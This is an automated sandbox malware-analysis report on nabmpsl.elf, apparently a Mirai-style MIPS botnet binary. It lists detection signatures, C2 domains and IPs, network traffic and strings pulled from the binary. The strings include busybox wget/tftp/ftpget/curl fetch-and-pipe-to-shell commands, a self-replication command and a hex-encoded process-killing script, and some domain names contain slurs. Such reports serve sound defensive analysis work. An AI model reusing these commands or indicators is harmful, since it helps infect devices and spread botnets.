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Linux Analysis Report
nabmpsl.elf

Overview

General Information

Sample name:	nabmpsl.elf
Analysis ID:	1543634
MD5:	c3dac37ece8c4d3d562eca553d920c24
SHA1:	15368f028b280a328fa25c5546653d05d0301027
SHA256:	1aff88fe2fa55aeb154bc74edf22b6a5b6f89ef1db2d0a1e2685ba8ed3fb4aad
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543634
Start date and time:	2024-10-28 08:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/91@11/0

Runtime Messages

Command:	/tmp/nabmpsl.elf
PID:	5813
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmpsl.elf (PID: 5813, Parent: 5736, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/nabmpsl.elf

nabmpsl.elf New Fork (PID: 5815, Parent: 5813)

nabmpsl.elf New Fork (PID: 5817, Parent: 5815)

nabmpsl.elf New Fork (PID: 5819, Parent: 5815)

nabmpsl.elf New Fork (PID: 5820, Parent: 5815)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nabmpsl.elf

ReversingLabs: Detection: 36%

Source: nabmpsl.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 45.156.86.26 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.14:57388 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.14:58674 -> 45.156.86.26:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 27.229.235.165
Source: unknown	TCP traffic detected without corresponding DNS query: 27.229.235.165
Source: unknown	TCP traffic detected without corresponding DNS query: 54.161.2.15
Source: unknown	TCP traffic detected without corresponding DNS query: 54.161.2.15
Source: unknown	TCP traffic detected without corresponding DNS query: 85.35.247.17
Source: unknown	TCP traffic detected without corresponding DNS query: 85.35.247.17
Source: unknown	TCP traffic detected without corresponding DNS query: 107.49.139.229
Source: unknown	TCP traffic detected without corresponding DNS query: 64.159.127.214
Source: unknown	TCP traffic detected without corresponding DNS query: 107.49.139.229
Source: unknown	TCP traffic detected without corresponding DNS query: 64.159.127.214
Source: unknown	TCP traffic detected without corresponding DNS query: 44.36.60.66
Source: unknown	TCP traffic detected without corresponding DNS query: 18.41.105.23
Source: unknown	TCP traffic detected without corresponding DNS query: 44.36.60.66
Source: unknown	TCP traffic detected without corresponding DNS query: 18.41.105.23
Source: unknown	TCP traffic detected without corresponding DNS query: 145.221.14.61
Source: unknown	TCP traffic detected without corresponding DNS query: 116.223.237.113
Source: unknown	TCP traffic detected without corresponding DNS query: 145.221.14.61
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.134.182
Source: unknown	TCP traffic detected without corresponding DNS query: 116.223.237.113
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.134.182
Source: unknown	TCP traffic detected without corresponding DNS query: 134.205.54.35
Source: unknown	TCP traffic detected without corresponding DNS query: 191.28.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 134.205.54.35
Source: unknown	TCP traffic detected without corresponding DNS query: 145.120.114.254
Source: unknown	TCP traffic detected without corresponding DNS query: 191.28.79.100
Source: unknown	TCP traffic detected without corresponding DNS query: 57.126.123.48
Source: unknown	TCP traffic detected without corresponding DNS query: 145.120.114.254
Source: unknown	TCP traffic detected without corresponding DNS query: 57.152.170.113
Source: unknown	TCP traffic detected without corresponding DNS query: 57.126.123.48
Source: unknown	TCP traffic detected without corresponding DNS query: 67.71.52.83
Source: unknown	TCP traffic detected without corresponding DNS query: 57.152.170.113
Source: unknown	TCP traffic detected without corresponding DNS query: 67.71.52.83
Source: unknown	TCP traffic detected without corresponding DNS query: 207.245.41.2
Source: unknown	TCP traffic detected without corresponding DNS query: 2.34.168.119
Source: unknown	TCP traffic detected without corresponding DNS query: 207.245.41.2
Source: unknown	TCP traffic detected without corresponding DNS query: 76.170.149.12
Source: unknown	TCP traffic detected without corresponding DNS query: 2.34.168.119
Source: unknown	TCP traffic detected without corresponding DNS query: 45.217.7.166
Source: unknown	TCP traffic detected without corresponding DNS query: 76.170.149.12
Source: unknown	TCP traffic detected without corresponding DNS query: 21.248.43.182
Source: unknown	TCP traffic detected without corresponding DNS query: 45.217.7.166
Source: unknown	TCP traffic detected without corresponding DNS query: 172.5.221.183
Source: unknown	TCP traffic detected without corresponding DNS query: 21.248.43.182
Source: unknown	TCP traffic detected without corresponding DNS query: 103.150.44.67
Source: unknown	TCP traffic detected without corresponding DNS query: 172.5.221.183
Source: unknown	TCP traffic detected without corresponding DNS query: 73.122.105.3
Source: unknown	TCP traffic detected without corresponding DNS query: 103.150.44.67
Source: unknown	TCP traffic detected without corresponding DNS query: 129.45.218.163
Source: unknown	TCP traffic detected without corresponding DNS query: 73.122.105.3
Source: unknown	TCP traffic detected without corresponding DNS query: 129.45.218.163

Source: global traffic	DNS traffic detected: DNS query: netfags.geek
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: nabmpsl.elf	String found in binary or memory: http:///curl.sh
Source: nabmpsl.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4,

Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5840/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5840/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5838/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5838/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5839/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5839/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5841/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5841/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5841/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5841/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5842/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5842/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5842/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5842/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5843/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5843/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5843/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5843/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5844/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5844/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5844/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5844/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5834/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5834/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5845/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5845/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5845/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5845/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5835/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5835/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5846/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5846/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5846/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5846/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5836/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5836/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5847/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5847/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5847/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5847/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5837/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5837/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5848/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5848/cmdline	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5848/maps	Jump to behavior
Source: /tmp/nabmpsl.elf (PID: 5819)	File opened: /proc/5848/cmdline	Jump to behavior

Source: nabmpsl.elf, 5813.1.00007ffe5a5fc000.00007ffe5a61d000.rw-.sdmp, nabmpsl.elf, 5817.1.00007ffe5a5fc000.00007ffe5a61d000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/nabmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmpsl.elf
Source: nabmpsl.elf, 5813.1.0000557f64fcc000.0000557f65053000.rw-.sdmp, nabmpsl.elf, 5817.1.0000557f64fcc000.0000557f65053000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5813.1.0000557f64fcc000.0000557f65053000.rw-.sdmp, nabmpsl.elf, 5817.1.0000557f64fcc000.0000557f65053000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: nabmpsl.elf, 5813.1.00007ffe5a5fc000.00007ffe5a61d000.rw-.sdmp, nabmpsl.elf, 5817.1.00007ffe5a5fc000.00007ffe5a61d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
netfags.geek	45.156.86.26	true	true	unknown
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
28.74.24.89	unknown	United States	7922	COMCAST-7922US	false
196.52.225.140	unknown	South Africa	133847	ICT-AS-APAnppleTechEnterpriseMY	false
85.2.223.133	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
167.212.129.231	unknown	United States	33166	BFS-49-33166US	false
104.64.240.178	unknown	United States	37457	Telkom-InternetZA	false
102.32.119.248	unknown	South Africa	327782	METROFIBRE-NETWORXZA	false
122.250.1.163	unknown	Japan	18077	C-ABLEYamaguchiCableVisionCoLtdJP	false
52.25.239.164	unknown	United States	16509	AMAZON-02US	false
156.47.48.218	unknown	United States	3527	NIH-NETUS	false
208.100.169.21	unknown	United States	4181	TDS-ASUS	false
219.40.152.73	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
59.55.132.81	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
138.44.114.198	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
220.186.137.77	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
210.78.71.100	unknown	China	24137	CNNIC-HNPCNET-APHeNanPingCoalGroupCN	false
115.8.126.238	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
87.131.236.220	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
206.127.10.42	unknown	United States	3900	TEXASNET-ASNUS	false
196.158.84.194	unknown	Egypt	36935	Vodafone-EG	false
211.0.58.96	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
61.95.18.88	unknown	Australia	2764	AAPTAAPTLimitedAU	false
204.117.118.165	unknown	United States	13354	ZC38-AS1US	false
175.233.77.2	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
123.15.160.152	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
56.195.11.96	unknown	United States	2686	ATGS-MMD-ASUS	false
146.143.161.129	unknown	United States	7046	RFC2270-UUNET-CUSTOMERUS	false
106.222.188.33	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
162.97.55.4	unknown	United States	3549	LVLT-3549US	false
32.107.235.14	unknown	United States	2688	ATGS-MMD-ASUS	false
149.128.59.42	unknown	United States	29828	ANIXTER-INCUS	false
51.151.160.41	unknown	United States	13037	ZEN-ASZenInternet-UKGB	false
177.243.95.106	unknown	Mexico	13999	MegaCableSAdeCVMX	false
134.7.25.25	unknown	Australia	38083	CURTIN-UNI-AS-APCurtinUniversityAU	false
120.3.32.233	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
78.115.48.72	unknown	France	8228	CEGETEL-ASFR	false
33.208.147.234	unknown	United States	2686	ATGS-MMD-ASUS	false
24.190.104.67	unknown	United States	6128	CABLE-NET-1US	false
107.148.65.152	unknown	United States	54600	PEGTECHINCUS	false
80.140.208.211	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
87.81.59.32	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	m68k.elf	Get hash	malicious	Unknown	Browse	45.156.86.26
	nabarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.26
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.26
	zerarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	m68k.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
netfags.geek	zerarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.26

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMCAST-7922US	sh4.elf	Get hash	malicious	Unknown	Browse	73.214.223.113
	m68k.elf	Get hash	malicious	Unknown	Browse	25.88.137.56
	nabarm.elf	Get hash	malicious	Unknown	Browse	67.161.8.229
	nklsh4.elf	Get hash	malicious	Unknown	Browse	73.77.81.91
	splmpsl.elf	Get hash	malicious	Unknown	Browse	29.90.118.144
	nklarm5.elf	Get hash	malicious	Unknown	Browse	73.245.71.215
	jklmips.elf	Get hash	malicious	Unknown	Browse	96.162.12.220
	nabarm7.elf	Get hash	malicious	Unknown	Browse	69.180.30.241
	splarm7.elf	Get hash	malicious	Unknown	Browse	73.18.15.156
	nabppc.elf	Get hash	malicious	Unknown	Browse	28.228.170.182
ICT-AS-APAnppleTechEnterpriseMY	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	205.199.30.220
	arm7.elf	Get hash	malicious	Unknown	Browse	205.199.62.39
	na.elf	Get hash	malicious	Mirai	Browse	205.199.62.66
	QoN2q1e0vd.elf	Get hash	malicious	Mirai	Browse	205.199.62.97
	na.elf	Get hash	malicious	Unknown	Browse	205.199.62.19
	http://timihref.com/	Get hash	malicious	Unknown	Browse	205.198.15.69
	SecuriteInfo.com.Linux.Siggen.9999.6015.2041.elf	Get hash	malicious	Mirai	Browse	205.199.86.227
	hoho.arm.elf	Get hash	malicious	Mirai	Browse	205.198.144.135
	spc.elf	Get hash	malicious	Mirai	Browse	205.199.62.17
	jew.arm6.elf	Get hash	malicious	Mirai	Browse	196.53.151.177
SWISSCOMSwisscomSwitzerlandLtdCH	nabarm.elf	Get hash	malicious	Unknown	Browse	138.188.236.139
	splmips.elf	Get hash	malicious	Unknown	Browse	164.209.239.101
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	138.190.191.17
	splx86.elf	Get hash	malicious	Unknown	Browse	164.227.68.178
	jklx86.elf	Get hash	malicious	Unknown	Browse	178.196.170.181
	nabm68k.elf	Get hash	malicious	Unknown	Browse	162.21.239.171
	nabspc.elf	Get hash	malicious	Unknown	Browse	85.4.210.254
	nklm68k.elf	Get hash	malicious	Unknown	Browse	164.195.100.210
	nklarm7.elf	Get hash	malicious	Unknown	Browse	164.241.233.10
	ppc.elf	Get hash	malicious	Mirai	Browse	85.3.66.105

Process:	/tmp/nabmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.13371095443629
Encrypted:	false
SSDEEP:	6:URe6gDF+VPj/VcDFnT/V/BHT/VDM/V+4D/VH:IefUMpHRMfF
MD5:	6CC8AEC8D80776E6A7393985ECF173CF
SHA1:	E941959E4B7E0203301CA25C8C6A1D627746D2F3
SHA-256:	CD2939B573A56E649A2781DB702B6DA3B344FC145ADE251FD0931498FE2060A9
SHA-512:	BDA51B628B2BC82598AEA9BD6398BA9171F9679BB1E022795F66D251898E846642EF7E3BED2F568ED6D1EE751492C14B3E3A816C1B5AD5811B1A5AA189DFF907
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531606 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmpsl.elf	false		unknown
http:///curl.sh	nabmpsl.elf	false		unknown

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.503330192230851
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmpsl.elf
File size:	55'800 bytes
MD5:	c3dac37ece8c4d3d562eca553d920c24
SHA1:	15368f028b280a328fa25c5546653d05d0301027
SHA256:	1aff88fe2fa55aeb154bc74edf22b6a5b6f89ef1db2d0a1e2685ba8ed3fb4aad
SHA512:	57d6a31c39fdc1645addd386c26753e43eec5b657d0d208d68a778d28ee0c28a74e241575870e9dfe7cc08f00ca761c5a5101f510c54eb04757e867a501cc776
SSDEEP:	1536:kwfdtXfcz3KeC+3eGF9FQmOkvYSnI8sR:kwfvQKwkSnI
TLSH:	7A43A5097B618EABD86FCC3745BD4F4534CD810721A93BB53874E818B36B54F5AE38A8
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@...........................D...D.@...$...........Q.td...............................<.R.'!......'.......................<.R.'!... .........9'.. ........................<hR.'!.............9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	55200
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbfd0	0x0	0x6	AX	16
.fini	PROGBITS	0x40c0f0	0xc0f0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40c150	0xc150	0xfa0	0x0	0x2	A	16
.ctors	PROGBITS	0x44d0f4	0xd0f4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d0fc	0xd0fc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d104	0xd104	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d108	0xd108	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d1e0	0xd1e0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d360	0xd360	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d734	0xd734	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d760	0xd734	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd734	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd734	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xd0f0	0xd0f0	5.5553	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd0f4	0x44d0f4	0x44d0f4	0x640	0x1824	3.2908	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 08:23:18.801448107 CET	47926	53	192.168.2.14	152.53.15.127
Oct 28, 2024 08:23:18.813865900 CET	53	47926	152.53.15.127	192.168.2.14
Oct 28, 2024 08:23:30.204502106 CET	41156	53	192.168.2.14	202.61.197.122
Oct 28, 2024 08:23:30.216763973 CET	53	41156	202.61.197.122	192.168.2.14
Oct 28, 2024 08:23:42.049038887 CET	37506	53	192.168.2.14	194.36.144.87
Oct 28, 2024 08:23:42.059973955 CET	53	37506	194.36.144.87	192.168.2.14
Oct 28, 2024 08:23:53.905401945 CET	55105	53	192.168.2.14	51.158.108.203
Oct 28, 2024 08:23:53.921921968 CET	53	55105	51.158.108.203	192.168.2.14
Oct 28, 2024 08:24:05.752120972 CET	54699	53	192.168.2.14	81.169.136.222
Oct 28, 2024 08:24:05.780174017 CET	53	54699	81.169.136.222	192.168.2.14
Oct 28, 2024 08:24:17.653021097 CET	37592	53	192.168.2.14	185.181.61.24
Oct 28, 2024 08:24:17.686379910 CET	53	37592	185.181.61.24	192.168.2.14
Oct 28, 2024 08:24:29.537147045 CET	42557	53	192.168.2.14	185.181.61.24
Oct 28, 2024 08:24:29.570700884 CET	53	42557	185.181.61.24	192.168.2.14
Oct 28, 2024 08:24:40.941785097 CET	45522	53	192.168.2.14	185.181.61.24
Oct 28, 2024 08:24:40.975613117 CET	53	45522	185.181.61.24	192.168.2.14
Oct 28, 2024 08:24:52.821387053 CET	50584	53	192.168.2.14	194.36.144.87
Oct 28, 2024 08:24:52.831799030 CET	53	50584	194.36.144.87	192.168.2.14
Oct 28, 2024 08:25:04.685539007 CET	41774	53	192.168.2.14	51.158.108.203
Oct 28, 2024 08:25:04.701853037 CET	53	41774	51.158.108.203	192.168.2.14
Oct 28, 2024 08:25:16.569596052 CET	52890	53	192.168.2.14	81.169.136.222
Oct 28, 2024 08:25:16.598807096 CET	53	52890	81.169.136.222	192.168.2.14

Start time (UTC):	07:23:17
Start date (UTC):	28/10/2024
Path:	/tmp/nabmpsl.elf
Arguments:	/tmp/nabmpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Start time (UTC):	07:23:18
Start date (UTC):	28/10/2024
Path:	/tmp/nabmpsl.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
